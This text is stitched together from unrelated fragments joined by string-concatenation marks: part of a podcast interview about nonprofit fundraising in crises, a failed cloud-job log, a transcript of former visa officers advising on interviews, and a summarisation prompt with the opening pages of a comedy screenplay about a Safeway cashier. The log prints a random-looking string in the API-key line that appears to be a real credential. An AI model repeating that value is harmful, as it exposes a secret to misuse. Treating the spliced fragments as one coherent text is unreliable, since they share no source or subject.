we were all surprised by that. Although I wonder if maybe we shouldn’t have been surprised. Because if you look back on all of the past crises or difficult times, 2008, 2001, the dot-com bubble, like all the way back to savings and loan, the nonprofit sector really does kind of resist those outside forces. And I know there’s probably people listening and watching who maybe had a really hard couple of years. And I don’t mean to erase that experience. I mean it as an encouragement. The capacity is there. The generosity is there. And in times of crisis, whether it’s a big international pandemic or a tornado in your city, people respond.\n\n[00:06:30.120] – Steven Shattuck\nBut what we found looking at our customer data was a little more nuanced. The people that asked and contextualized those appeals for how they were experiencing the pandemic specifically, those are the people that had some of their best fundraising years ever. And it wasn’t just things like food banks or the kind of causes that you hear about as being like COVID causes, which I don’t really like. I don’t think such a thing exists. But animal shelters, environmental organizations, other social services, some of those folks had their best years ever. And really what we found is it’s because they kept their foot on the gas. They didn’t put themselves on the sidelines. They didn’t allow themselves to be talked into this myth that we don’t matter or our cause doesn’t matter as much as maybe some other folks’ cause. So that’s really what I’ve been shouting from the rooftops, because there will be another crisis, right? Whether it’s local or global. And don’t decide for donors, because if you don’t ask, you’re not going to get it.\n\n[00:07:37.670] – Boris\nAnd that wraps up our episode for today.\n\n[00:07:39.300] – Steven Shattuck\nThat’s it. See ya.\n\n[00:07:42.050] – Boris\nNo, I’m kidding. But I’m also kind of serious because that is really, I think the key takeaway. Let’s dig a little deeper and get a little more out of you as long as we’ve got you here, Steven. So first of all, you say maybe we shouldn’t have been surprised. And I don’t know if you saw me shaking my head vehemently. No, we should not have been. People respond to crisis. People respond to whatever gets that oxytocin flowing, whatever gets that empathy going, right? We naturally respond to it. We feel an obligation to our world, to our society, to the people we care about, to the causes we care about. And that realm expands significantly. I talk a lot in my storytelling workshops and online courses and whatever else about the greater the common villain, the more people it’s going to unite against it, the more people are going to understand the pain that that villain inflicts. And so the more people are going to rise up to try to combat it. So, absolutely. In a time of crisis, more people will give because they’re going to feel for their fellow humans suffering.\n\n[00:08:51.300] – Steven Shattuck\nAbsolutely. And some people feel powerless, too. They want to feel like, Jeez, I’m stuck at home. I can’t do anything. Who knows when this is going to end? Donating to a nonprofit may be the only way that they can exercise some level of control over what’s going on around them. And that’s a real opportunity. That’s an advantage, right? There’s something you don’t hear very often that the nonprofit sector has an advantage over maybe the for-profit sector, for example, to generate that. But you mentioned the underlying data. The thing that I always think of is, we could see our customers that were moving up and to the right versus the ones that were kind of moving down and to the right. And among the people that were increasing, they were asking more, right? We saw people slow down the asks. Maybe they got caught into this trap of, we don’t matter, our cause doesn’t matter as much.\n\n[00:09:48.740] – Steven Shattuck\nBut even among the people who kept asking, there was a nuanced difference. There were people that were asking but not sort of contextualizing their need or how they were affected by the pandemic like you said, versus the ones who were and the ones who were who sort of addressed that elephant in the room, they did much better. And maybe those people who didn’t truly weren’t impacted, although I kind of find that hard to believe. I think everyone was impacted in some way. But maybe they were concerned about, I don’t know, donor fatigue or talking about something that nobody wanted to think about. So that is a big takeaway, we found, is for sure, keep asking, don’t decide for the donor. But if you’re being impacted by some external force, that’s the rallying cry, that’s that common enemy, like you mentioned. That’s a perfect way of saying it. If that exists, tell people and allow them to rally around it. Because if they don’t know about it, they may not find that appeal to be as urgent or as necessary as the ones who do mention those things.\n\n[00:10:55.590] – Boris\nRight. In some cases, the organization is suffering from the very same thing, this pandemic, for example, that donors are suffering from, or that the recipients, the clients of various organizations are suffering from. So you can be in there and assuming you have a strong relationship with your donor base, they’re going to care about your survival, your work. They might think, okay, at the moment, putting on a play is not as relevant as producing more oxygen machines, what do they call them? Respirators in hospitals. But that doesn’t mean that they’re going to switch their identity to now no longer say, “Oh, I don’t support theater. I now only support medical treatment.”\n\n[00:11:47.330] – Steven Shattuck\nYeah, you nailed it. It’s a scarcity mindset. It’s like, well, if they care about that cause, they can’t—they don’t have the bandwidth or the capacity to care about ours. And people are diverse, right? People give to multiple causes. But I also think what you said is really important that, hey, you want us to be around when this is over? Don’t you want plays and performances to resume? Don’t you want this YMCA to open back up and be able to have classes and things like that? That was a really strong sort of case for support that we saw work, specifically, this idea of you want us to be around when this is over. You can sort of protect our future by donating now. And the people that cared about those causes pre-pandemic didn’t suddenly stop caring about animals or the performing arts or whatever it is just because there’s a pandemic. There’s room for both, right? And I think we were talking about arts, performing arts before we hit record. Those are the folks that really kind of stood out from the crowd, if that’s the right metaphor, and survived and not only survived but thrived during such a difficult time.\n\n[00:13:02.630] – Boris\nI think some of them did and some of them didn’t, to be honest, without revealing any names, if you will. I spoke to a lot of arts organizations over the last couple of years that were really struggling. They didn’t want to appear tone deaf, which I totally understand and respect.\n\n[00:13:18.510] – Steven Shattuck\nYes.\n\n[00:13:19.490] – Boris\nBut at the same time, they didn’t know how they could survive. And some of them shut their doors temporarily. Some of them may have shut their doors permanently because they didn’t feel like their cause was as important, as significant. I hate to use the word as sexy as some of the others out there in a time of crisis. Again, you and I were talking earlier. There’s always going to be a crisis.\n\n[00:13:46.140] – Steven Shattuck\nYes.\n\n[00:13:46.600] – Boris\nRight now there is certainly a crisis that’s eating up a lot of my mental capacity and my spare discretionary, giving money, trying to support the folks in Ukraine and trying to help end that situation in a positive way, as positive as possible. But that doesn’t mean that I don’t care about the other causes that I’ve been supporting all this time.' +'Got another error:\n03/21/2023 10:26:10 AM\nQueued\n03/21/2023 10:26:10 AM\nDedicating resources\n03/21/2023 10:26:10 AM\nPartition ID: 466, Label: "Job"\n03/21/2023 10:26:10 AM\nActual CPU allocation: 256m\n03/21/2023 10:26:10 AM\nActual memory allocated: 1024mb\n03/21/2023 10:26:13 AM\nYour job is now in a running state.\n03/21/2023 10:26:15 AM\nCollecting slack-sdk\n03/21/2023 10:26:15 AM\n Downloading slack\\_sdk-3.20.2-py2.py3-none-any.whl (274 kB)\n03/21/2023 10:26:18 AM\nInstalling collected packages: slack-sdk\n03/21/2023 10:26:20 AM\nSuccessfully installed slack-sdk-3.20.2\n03/21/2023 10:26:27 AM\nRequirement already satisfied: slack-sdk in /opt/conda/lib/python3.7/site-packages (3.20.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: civis in /opt/conda/lib/python3.7/site-packages (1.16.0)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: click<9,>=6.0 in /opt/conda/lib/python3.7/site-packages (from civis) (6.7)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: tenacity<9,>=6.2 in /opt/conda/lib/python3.7/site-packages (from civis) (8.0.1)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: jsonschema<5,>=2.5.1 in /opt/conda/lib/python3.7/site-packages (from civis) (3.2.0)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: cloudpickle<3,>=0.2 in /opt/conda/lib/python3.7/site-packages (from civis) (1.2.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: jsonref<=0.2.99,>=0.1 in /opt/conda/lib/python3.7/site-packages (from civis) (0.2)\n03/21/2023 10:26:32 AM\nRequirement already satisfied: requests<3,>=2.12.0 in /opt/conda/lib/python3.7/site-packages (from civis) (2.22.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: joblib<2,>=0.11 in /opt/conda/lib/python3.7/site-packages (from civis) (0.14.1)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: pyyaml<7,>=3.0 in /opt/conda/lib/python3.7/site-packages (from civis) (5.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: importlib-metadata; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (4.8.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: pyrsistent>=0.14.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (0.18.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: attrs>=17.4.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (21.2.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: six>=1.11.0 in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (1.16.0)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: setuptools in /opt/conda/lib/python3.7/site-packages (from jsonschema<5,>=2.5.1->civis) (58.0.4)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (1.25.7)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: certifi>=2017.4.17 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2021.10.8)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: idna<2.9,>=2.5 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (2.8)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: chardet<3.1.0,>=3.0.2 in /opt/conda/lib/python3.7/site-packages (from requests<3,>=2.12.0->civis) (3.0.4)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: typing-extensions>=3.6.4; python\\_version < "3.8" in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.10.0.2)\n03/21/2023 10:26:33 AM\nRequirement already satisfied: zipp>=0.5 in /opt/conda/lib/python3.7/site-packages (from importlib-metadata; python\\_version < "3.8"->jsonschema<5,>=2.5.1->civis) (3.6.0)\n03/21/2023 10:26:36 AM\nTraceback (most recent call last):\n03/21/2023 10:26:36 AM\n File "/app/script", line 20, in \n03/21/2023 10:26:36 AM\n CIVIS\\_API\\_KEY = os.environ["gARr3JjliVTvR4hP6yWO3Gse-12qjB72egrWVkuxBAY"]\n03/21/2023 10:26:36 AM\n File "/opt/conda/lib/python3.7/os.py", line 679, in \\_\\_getitem\\_\\_\n03/21/2023 10:26:36 AM\n raise KeyError(key) from None\n03/21/2023 10:26:36 AM\nKeyError: \'gARr3JjliVTvR4hP6yWO3Gse-12qjB72egrWVkuxBAY\'\n03/21/2023 10:26:37 AM\nFailed: The job container failed. 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This may happen when a Run finishes quickly.' +'Title: "(333) What not to do at the Visa Interview | The ultimate visa journey guide presented by Ex-Visa Officers - YouTube"\nVideo Transcript: "good morning everyone i\'m so excited to invite you to part three of our ultimate visa journey with former visa officers and today\'s topic is what not to do at your visa interview so it\'s morning for me but it\'s actually evening time for my colleagues uh kat and swati and this is going to be an exciting session for you today because we have a breadth of experience we have cat who has prior experience as a visa officer in china where she worked at the u. s embassy in beijing and then we have swati who has tons of india experience but also she\'s worked in honduras so both at the u.s embassy and the us consulate so um you know we\'re kind of from all over the globe it\'s night time for them it\'s really early morning for us but it\'s so nice that we can gather here in this virtual space to help our audience help our subscribers go through this process sometimes i like to refer to the us visa interview process as a test with no instructions and i think it\'s interesting because you know to americans it\'s a relatively straightforward process and even then there are problems but for international you know guests for international citizens all of a sudden you know you\'re coming face to face with a us government official uh perhaps english is not even your native language and all of a sudden you have to you know be prepared to you know handle this interview and while it might be a short interview it\'s very high stakes it\'s very important and you\'ve heard us talk about this over and over again on our sessions that you know you want to start off on the right foot you want to make sure you do well on the interview because your visa record is for life um you don\'t want a refusal to sort of tarnish your record because it could affect future visa categories that you apply for or a green card that you\'re applying for and so it\'s very very important that you master this process and this is what we do here at argo we\'re all former visa officers we\'ve all had years of experience working behind the visa window interviewing you know tons of uh visa applicants and how many how many interviews have you guys done oh gosh uh i\'ve probably done i don\'t know over 75 000 between my justice and homeland security and state department days in different kinds of categories immigrant visas and non-immigrant visas citizenship everything yeah i\'m considered a visa baby so i\'ve done between 10 and 20 000 visas yes but very with very important expertise in china so you know sometimes i think like one interview in china is like i don\'t know probably five interviews somewhere else um and i think swati brought up a really good point is that you know the us immigration process is actually handled by two different agencies we have the department of homeland security and some agencies fall under that like cbp and ice and then we have the state department who handles all of the visa processing overseas and so sometimes these two agencies don\'t necessarily communicate uh you know in the best way possible and for someone like swati who has seen it uh on behalf of both agencies she has been a huge asset to argo and our clients because she\'s able to understand you know what this will look like from the dhs cbp perspective uh what it looks like from the state department perspective so we all sort of bring our own expertise to this process and we also have our own style and i think you know would you guys agree that the visa interview can be a very subjective experience yeah i mean it totally depends right i mean i know a lot of applicants say oh it\'s it\'s about luck it\'s about the mood and stuff like that but it can depend right because the experience of the visa officers really varies uh it could be their first assignment it could be their fifth posting they could be they could have done you know um there may be just beginning in that post or in their journey or they\'ve already done you know 100 interviews a day and so that really depends and plus it\'s just you know how the visa officer also kind of um adjudicates themselves how they present themselves how they ask the questions how they receive your answers so it is it is really relative you know depending on who you get also i mean we\'re all trained all visa officers are trained under the same kind of parameters right we all have what we internally call congen which is our consular training but how we apply it can obviously vary it\'s still under the immigration laws but still yeah yeah absolutely i think that\'s such a good point swati and you know it\'s it\'s why when clients come to us and you know sometimes they\'ll tell us i had the same exact situation as my classmate and yet my classmate got approved a visa and i didn\'t and that happens a lot because a lot of it is about how you convey your personal situation to the visa officer some of it you can\'t control like what kind of mood your visa officer is in you know are they tired have they not had a chance to have lunch you know all of those things but there are a lot of things that you you know as a visa applicant can control uh how well prepared you are you know whether or not you know how to answer certain questions and that is what we help you with here at argo and so you know i i always like to kick off our sessions with probably the most important um the most important question you know as you know kat and swati we\'ve been getting a lot of clients who have had these problems in the past perhaps they\'ve had a prior refusal uh perhaps they\'ve you know been scammed by an opt company and now they\'ve you know they have a visa revocation on their record um so i feel like you know this is going to be really important so for as one of the things that you shouldn\'t do for your visa interview um you know what is something that these applicants should not do if they\'ve been refused a visa and they go up to the visa officer and they\'re asked the question you know what has changed since your last visa application two weeks ago so definitely don\'t answer no nothing that is an automatic well there\'s nothing really left to talk about right if you\'ve already said that nothing has changed and that couldn\'t possibly be the case either if you are a good applicant and you have good information chances are you didn\'t have a chance to present it or the officer didn\'t ask you the questions and so this is your opportunity now to represent that information so if you start with no nothing has changed that closes every door and every window there\'s no way to get to recover from that so i would definitely not start with that yeah i couldn\'t agree more yeah yeah it\'s really important so keep that in mind because i would say most prior refusal cases you may be asked that at the window because it\'s a way for officers to be efficient in their work it\'s really easy to refuse a visa applicant i know it\'s it\'s terrifying to hear that but it is sometimes much easier to refuse someone than to take the time to really understand what happened before what has changed now and to approve them and i\'m always telling clients like you have to help the visa officer help you you have to make their jobs easier and so if you say no nothing\'s changed you\'re making it easier by letting them refuse your visa and that\'s not what you want to do and you know what would you guys say are some common mistakes that you\'ve seen visa applicants make at the window oh okay so a lot of people you know go especially here in india when i\'ve seen they go p thinking oh i i already have this itinerary i\'ve already made my hotel bookings and flight bookings would you like to see all this kind of stuff and and you don\'t want to do that actually because you don\'t know really what the outcome is going to be of your visa interview so you don\'t want to end up having to you know be in the hole for your flights and hotels and stuff like that we suggest to everybody don\'t make your plans until after you\'ve gotten your visa so that\'s you know definitely prepared speech and they will not let the they will not let the officer break in with any questions at all until they are completed this speech so just going back to the whole idea of a visa right some of it is quite subjective and basically you\'re trying to get the officer to trust you to give you this visa and that you plan to use this visa for the purposes that are set forth in law right so things that you actually need to you need to be responsible with this visa so if you come and you\'re just you\'ve got the speech and you\'re just answers and not robotic answers and a lot of times a lot of people also do is especially we see this with student visa applicants you know they uh when you ask them why did you choose this particular university they\'ve basically gone to the website of the university you know and just kind of said oh it\'s like very you can tell that they\'ve read some you\'re just kind of saying something that they\'ve memorized from the website and uh or they say you know something about and i was in touch with sincerity will be recognized they will see that you have tried and that you know you are trying one of the things that we that is really difficult i think is that when people are nervous a lot of the words don\'t come out so just like you approach anything else right practice yeah practice a few things and maybe talk to a few friends in the foreign language so in english in this particular case just so that you\'re ready and you kind of expect it a little bit so you don\'t stutter i think that\'s such a good point cat going to be able to respond um so that\'s just kind of a practical tip that we have you know make sure that you\'re not saying immediately right off the bat can i speak english or sorry can i speak chinese or can i speak my native tongue at this visa interview you want to impress the visa officer and show them how prepared you are to be moving your whole life to a different country for two years or four years to do your studies and it doesn\'t start with answering like that i totally agree uh unless you\'re really what do you guys think it\'s it goes case by case i think really but um but generally uh i would lean towards apply together if you\'re traveling together especially if you\'re a family you know um because it it kind of makes more sense you know so if your mom dad and the kids are going you know it kind of uh it just makes more sense you know otherwise sometimes the alarm bells can also go off well why is this person not traveling and i know it\'s tricky for applicants because sometimes they think if they leave this person group i would say for the most part i almost feel like it is not a huge factor if the rest of your case is strong whether you apply together or you know as a family i\'ve had a lot of clients you know not be able to get appointments together um so it\'s a possibility that that could happen but just keep in mind that um you need to be prepared for the interview because if you\'re really prepared for the interview then some of these other things won\'t matter as much like are you applying you know that\'s not going to get to the real answers and it\'s amazing how many times the clients don\'t think that that\'s even important but i cannot emphasize how important it is you know it\'s something it can be you may think it\'s small but it\'s it\'s not really like uh i i had a consul with a an applicant who had studied something totally different but her passion was really in cooking and baking and she really wanted to get a degree in you know in the culinary arts and stuff like that so she was having difficulty and she\'d been realize how important it is to provide some detail be able to present it in a way that is quick i always think you know if it\'s gonna take the visa officer multiple questions to get a real substantive answer out of you that is not going to make that\'s not going to make your visa officer happy they\'re going to be really cranky they\'re like oh like it\'s so hard to get anything it\'s like pulling teeth to get something out of this and you really want to make the process easy for them you want to establish sort of a be useful in helping you with your case right a lot of times the stuff just seems like a nebulous cloud you have no idea exactly what the officer is asking you are panicking you have no idea what\'s happening and they ask you this question and you just give them the first answer that\'s on the tip of your tongue and i gotta say that\'s that\'s not a good way to handle that this generally yeah i don\'t know about you but the thing that\'s on the tip of my tongue doesn\'t tend to be the most question and even if it\'s you know the same fact how should you when should you mention it in what way should you mention it how much information should you get because often times the visa interview is a balancing act you don\'t want to say too little but you also don\'t want to say too much you know we talk about the one word response but i\'ve also had you know clients that i\'ve talked to that just word vomit every single time you ask them a question it\'s just like oh my gosh like they\'re com you know we\'re here we\'re from all over the world so i guess you know in a sense we kind of don\'t sleep so if it\'s 3 a.m in the us you know you have resources like swati who\'s you know in india and kat who\'s in taiwan and like able to be up and awake and help you you know and i would say try to sign up for a consultation at least two to three weeks before your interview if you\'re a student i would sign up even earlier if you\'re someone who\'s had a visa problem you know maybe you\'ve been our consulates we can kind of help you decipher okay well you maybe want to bring this information up further you know like sooner sorry sooner because you don\'t know if you\'re gonna get asked that or um you know it helps your case it\'s the maybe the change factor that you that you need in your case you want to present it sooner it\'s the stronger point so i i would just re-emphasize that for sure"\nVideo Summary:' +'Below is a feature film script or screenplay in its entirety. The name of the film is “Ruby Safeway”. Please draft a detailed, nuanced, accurate summary of the story, including descriptions of the main characters, their motivations, and the main conflicts and plot points of the narrative and/or between characters. A successful synopsis provides enough accurate information about the screenplay that a human may be able to pretend they’ve read the entire script themselves. The summary needs to be longer than 600 words but shouldn’t go over 2000 words. \n\nFADE IN:\nINT. BEDROOM – MORNING\nA lump lays lifeless under the covers of the bed in a dark\nroom. An old digital clock sits in view on the bedside table.\nThe time reads 7:59.\nAs soon as the clock strikes 8:00, the lump rises out of bed\nwith abundant energy. An alarm did not go off.\nINT. BEDROOM WALK-IN CLOSET – MORNING\nHands open the top drawer of a dresser. Nothing but identical\nhigh-waisted cotton briefs and granny bras. The hands pick\nout one of each.\nWe see slightly hairy legs step into the granny panties.\nHands behind the back initially struggle to clasp the bra.\nOnce it latches, she pats herself on the back.\nA row of the closet is entirely dedicated to khaki-colored\npolo shirts. The row beneath it has nothing but neatly\npressed black pants. She grabs one of each.\nShe tucks her shirt into her pants, accentuating a gently\nrotund tummy.\nThe hands tie the hair back into a low ponytail.\nINT. LIVING ROOM – MORNING\nA mini black backpack is open on the coffee table. Hands fill\nit with a travel size bottle of Jergens lotion, two tampons,\na lean cuisine, and a bottle of diet Fanta orange soda.\nShe zips it, puts it on, tightens the straps, and buckles the\ncross-chest strap. Her bra shows through the polo. Wired\nheadphones are placed in her ears.\nINT. GARAGE – MORNING\nThe hands click open the garage door. Light pours in as the\ngirl grabs a Razor scooter hung on the wall. She unfolds it,\nhops on, and scoots down the driveway. She pulls a remote\nfrom her pocket and clicks it, closing the garage behind her.\n\n2.\nEXT. NEIGHBORHOOD STREET – MORNING\nPicking up speed down the road, RUBY’s face is finally\nrevealed. She looks mid to late twenties, not exactly a\nlooker, with a serious mug as she scooters.\nHer uniform is equally unflattering in the daylight. She’s\npumping her leg intensely as she makes her way to her first\nturn, stopping at a stop sign and using the legal hand signal\nto indicate a right turn. She leaves frame.\nEXT. SAFEWAY – MORNING\nShe comes to a squealing stop outside the front. The\nautomatic doors open, she collapses her scooter and awkwardly\nreaches behind her to unzip her pack and grab the soda. She\nchugs half of it, out of breath. She puts it back in her bag\nand enters, the doors close behind her.\nINT. EMPLOYEE LOUNGE – MORNING\nRed n sweaty, she logs into the computer. With the mouse\nhovering over “clock in,” she stares at the clock – 8:59. She\nwaits, waits, waits…\n9:00. Boom, clock in.\nShe walks over to the key cabinet, grabs a set of keys on a\ncarabiner, and hooks them to her belt loop.\nShe grabs a lint roller from her locker and rolls it across\nher uniform. Her name tag is pinned to her shirt, sparkling.\nINT. SAFEWAY LIQUOR STORE – MORNING\nRuby unlocks the liquor section. As she enters, she bursts\ninto an uncontainable smile of pride.\nShe walks up and down the aisles, lovingly touching the\nmeticulously arranged booze bottles. She adjusts one bottle\nso that its label is perfectly aligned with the others.\nShe stands at her cash register like a proud teacher standing\nat the front of a well-behaved classroom. There’s a long bout\nof inactivity…\nUntil finally a WOMAN, mid 30s, enters the store. Ruby perks\nup and flashes her perfected customer-service smile.\n\n3.\nRUBY\nWelcome! Is there anything I can\nhelp you with this morning?\nWOMAN\nI’m okay, thank you though.\nRuby tries to hide her disappointment.\nAs the woman wanders the aisles, Ruby grabs a spray bottle\nand rag. She stands at the ends of the aisles, pretending to\nclean, but really watching her every move.\nThe woman catches her watching, looking confused. Ruby smiles\nback at her.\nRUBY\nI’m here if you have any questions.\nI know our products forwards,\nbackwards, upwards, downwards. If\nyou’re looking for anything\nspecific, I can tell you exactly\nwhere it is.\nWOMAN\nI’m really okay. Thanks.\nShe continues pretending to clean.\nThe woman grabs a jug of orange juice and a bottle of cheap\nchampagne. She takes it to the counter and Ruby mirrors her\nmovement and makes her way to the register.\nRUBY\nFind everything you were looking\nfor?\nWOMAN\nYep.\nRUBY\nAhh the mimosa. You know there are\na couple theories on how this drink\ncame to be. Most believe it came\nabout in the mid 1920s in a bar in\nLondon, though some conspiracy\ntheorists have the wild notion that\nAlfred Hitchcock created it in the\n1940s. But I mean, come on! That’s\nnot Hitchcock, that’s poppycock!\nRuby laughs at herself, staring at the woman for her\nreaction. It’s blank, a forced smile appears.\n\n4.\nRUBY (CONT’D)\nAnyway, do you have a Safeway club\ncard?\nWOMAN\nNo.\nRUBY\nWell, would you like to-\nWOMAN\nI’m kind of in a rush.\nRUBY\nOf course.\nRuby notices the woman’s car keys on the counter with a\nRalph’s Grocery plastic key tag. She freezes, makes\nfrightened eye contact with the confused customer.\nShe gulps and scans the items, trying her best to seem\nfriendlier than before. The woman inserts her card.\nRUBY (CONT’D)\nYour total is ten dollars and\nseventeen cents. You know, Safeway\nwas voted number one grocer in the\nstate of Arizona three years in a\nrow. Much better than, oh I don’t\nknow, Ralph’s or-\nWOMAN\nI don’t need the receipt, thanks.\nThe woman leaves abruptly, grabbing her booze and juice.\nRUBY\nThanks for choosing Safeway, have a\nsafe day!\nRuby waits for the doors to close, then hastily grabs a\nclipboard with a piece of paper labeled “Suspected Ralph’s\nGrocery Patrons” and adds a slash to a long, long list of\ntallies.\nIn walks BLAKE, a young 20 something who thinks everyone is\nhis best friend. He’s cute, Ruby doesn’t realize it.\nBLAKE\nThere’s my girl Ruby! I was\ncrossing my fingers it would be you\ntoday.\n\n5.\nRUBY\nMy only day off is Monday, and\nthat’s my no-funday.\nRuby laughs at herself, Blake doesn’t get the joke.\nRUBY (CONT’D)\nWhat can I interest you in, Blake?\nWe just got some new IPAs in last\nweek that have been flying off the\nshelf. I mean just flying.\nBLAKE\nNo fancy beers for me today, Rubes.\nI’m throwing a going away party for\nmyself tonight. I’m gonna need big\njugs of big booze.\nRUBY\nCertainly. Right this way.\nRuby leads Blake towards the hard liquor handle aisle.\nRUBY (CONT’D)\nGoing away party, huh?\nBLAKE\nYeparoni. I’m finally getting out\nof Phoenix. Moving onto bigger and\nbetter things.\nRUBY\nWell these are the handles we have.\nPrices are gonna range from $12.99\nto $62.99.\nBLAKE\nHoly smokies, which one is twelve\nbucks?\nRUBY\nThat would be the Bottomfeeder’s\nvodka.\nRuby points to a handle with a giant, hideous blobfish logo.\nRUBY (CONT’D)\nThey’re going out of business\nbecause of the hazardous amount of\nantifreeze in their products. We\nput them on clearance last week.\n\n6.\nBLAKE\nI’ll take it.\nCUT TO:\nINT. SAFEWAY LIQUOR STORE CASHIER COUNTER – DAY\nRuby is scanning seven handles of Bottomfeeder’s Vodka.\nBLAKE\nIf you’re not doing anything\ntonight you should stop by!\nRUBY\nThanks, but I’m not a partier. I’m\na cashier. Your total is $90.93.\nDon’t forget to scan your Safeway\ncard.\nBLAKE\nWouldn’t dream of it. I’m gonna\nmiss you Ruby Tuesday. You’ve been\nhooking me up since day one.\nRUBY\nWhat can I say, I picked a\nrewarding career.\nShe’s not kidding. Ruby hands Blake his receipt as he grabs\nall seven handles and waddles out the store.\nBLAKE\nLater Ruby!\nRuby stands ready at the register, a post-patron-interaction\nglow still lingering on her face.\nINT. EMPLOYEE LOUNGE – DAY\nRuby rips the plastic wrap off the top of her freshly\nmicrowaved lean cuisine. She sits with MIN, a 28-year-old\nKorean man who is eating a tub of cantaloupe.\nRUBY\nHow’s the deli treating you today,\nMin?\nMIN\nWell.\n\n7.\nRUBY\nI read on the morning stock report\nthat the Boar’s Head truck was\nbringing in a fresh supply of\nliverwurst. Is that true?\nMIN\nYeah.\nRUBY\nNice.\nThe two sit in silence eating for a long while. Neither of\nthem look uncomfortable, just quiet.\nRUBY (CONT’D)\nYou sell any ham today?\nMIN\nNot yet.\nRUBY\nThat’s okay, I’m sure you will.\nThey eat silently a bit more. Min finishes his cantaloupe and\ngets up from the table.\nMIN\nBye Ruby.\nRUBY\nSee you tomorrow, Min.\nRuby continues to eat her lean cuisine and chugs the rest of\nher soda from earlier.\nInto the employee lounge enters, BRIAN, (40) the chaotic\nmanager always strung out on caffeine.\nBRIAN\nOh Ruby, thank god.\nRUBY\nNot to worry, Brian. I already\nsigned off on the morning delivery\nreport. Also Kalen called in sick\ntoday, so I went ahead and moved\nsome people around to account for\nthe gap in cashier stations.\nBRIAN\nOh, thanks I guess. But I need your\nopinion. Do you think Jessie’s\nflipper looks too large?\n\n8.\nBehind Brian stands JESSIE, his five-year-old daughter\nwearing a sequined dress and a tiara.\nBRIAN (CONT’D)\nSmile for daddy!\nJessie hesitantly smiles to reveal fake pearly-white teeth\nthat are much too large for her mouth.\nRUBY\nPageant season already?\nBRIAN\nOh yes. And now that we’re in the\nfive-and-up category, we’re out for\nblood.\nRUBY\nWell Jessie, I think you look\nbeautiful.\nJessie’s eyes are a cry for help.\nBRIAN\nAnyway, thanks for taking care of\nthat stuff this morning. You really\nshould consider accepting that\nmanager position we keep offering\nyou.\nRUBY\nThat’s kind of you, but my\nstrengths lie in cashiering; being\non the ground level of this\nbusiness operation.\nBRIAN\nSure, whatever. Your employee of\nthe month certificate is in your\nmailbox.\nRUBY\nMy…my what?\nBRIAN\nYou don’t have to act surprised\nevery time you know.\nRUBY\nI am truly honored. Thank you so\nmuch.\n\n9.\nBRIAN\nYeah yeah, you’re the only one who\nreally wants them anyway.\nRUBY\nThat makes one-hundred-and-eight.\nTwo more and I’ll-\nBRIAN\n“Hold the most company awards given\nto a single employee,” I know. You\nshould channel that relentless\nexcitement of yours into something\nmeaningful.\nRuby chuckles.\nRUBY\nAs if there’s anything more\nmeaningful than a Safeway record!\nBRIAN\nJust show up the next two months\nand the record is yours. I need to\ntake Jessie to get her lips\nplumped. I’ll see you tomorrow.\nRUBY\nBye Brian, bye Jessie.\nRuby waits until Brian leaves, then does a small and\nuncoordinated happy dance.\nINT. RUBY’S BEDROOM – NIGHT\nRuby sets her backpack down in her room. She changes into a\npair of black lounge pants and a khaki-colored shirt.\nShe reaches into her backpack and grabs three Safeway comment\ncards. The first one has checked all “excellent” boxes. The\nsecond one is also nothing but “excellent.” The last one is\nnothing but “poor.”\nHer jaw drops. She looks deeply, personally offended. Her\nanger quickly morphs into sadness.\nShe shakes herself out of the funk. She tears up the negative\ncomment card and throws it in the trash. She proceeds to tape\nthe two “excellent” cards to her wall. We see her entire room\nis wallpapered in comment cards and employee-of-the-month\ncertificates.\n\n10.\nINT. KITCHEN – NIGHT\nRuby opens her freezer; it has nothing but Lean Cuisines in\nit. She pops one in the microwave.\nShe sits at the table. Her MOM, late 50s with the demeanor of\na well-intentioned Kindergarten teacher, enters.\nMOM\nHey Ruby girl! How was work today?\nRUBY\nWell two customers thought it was\nexcellent. Others may have felt it\nwas... poor.\nIt physically pains her to say the dreaded P-word.\nMOM\nLook what came in the mail for you!\nMom hands Ruby a magazine for the local community college.\nRUBY\nYou can recycle this.\nMOM\nWell why don’t you just look\nthrough it? Maybe a course in there\nwill really jump out at you.\nRUBY\nI have no interest in wasting my\ntime in a classroom full of degreeseeking\nthumbsuckers.\nMom sighs.\nRUBY (CONT’D)\nNo offense to you or Dad’s PhD’s.\nMOM\nNone taken, as always. I just think\nyou should give school another-\nRUBY\n(sternly)\nI love my job. I’m good at my job.\nPeople are nice to me at my job.\nMom gives Ruby a conceding grin and nods softly.\n\n11.\nRuby shoves a hefty forkful of Lean Cuisine alfredo in her\nmouth. A noodle drops on the college magazine, right on the\nface of the happy-go-lucky poster child.\nCUT TO:\nINT. RUBY’S BEDROOM – NIGHT\nRuby is upright in bed holding a stack of flashcards. The\nfirst card is a picture of a six pack of an IPA beer.\nRUBY\n$9.99\nShe flips the card, she’s right. The next card has a bottle\nof UV Blue.\nRUBY (CONT’D)\n$13.99\nShe flips the card, she’s right. The next card shows 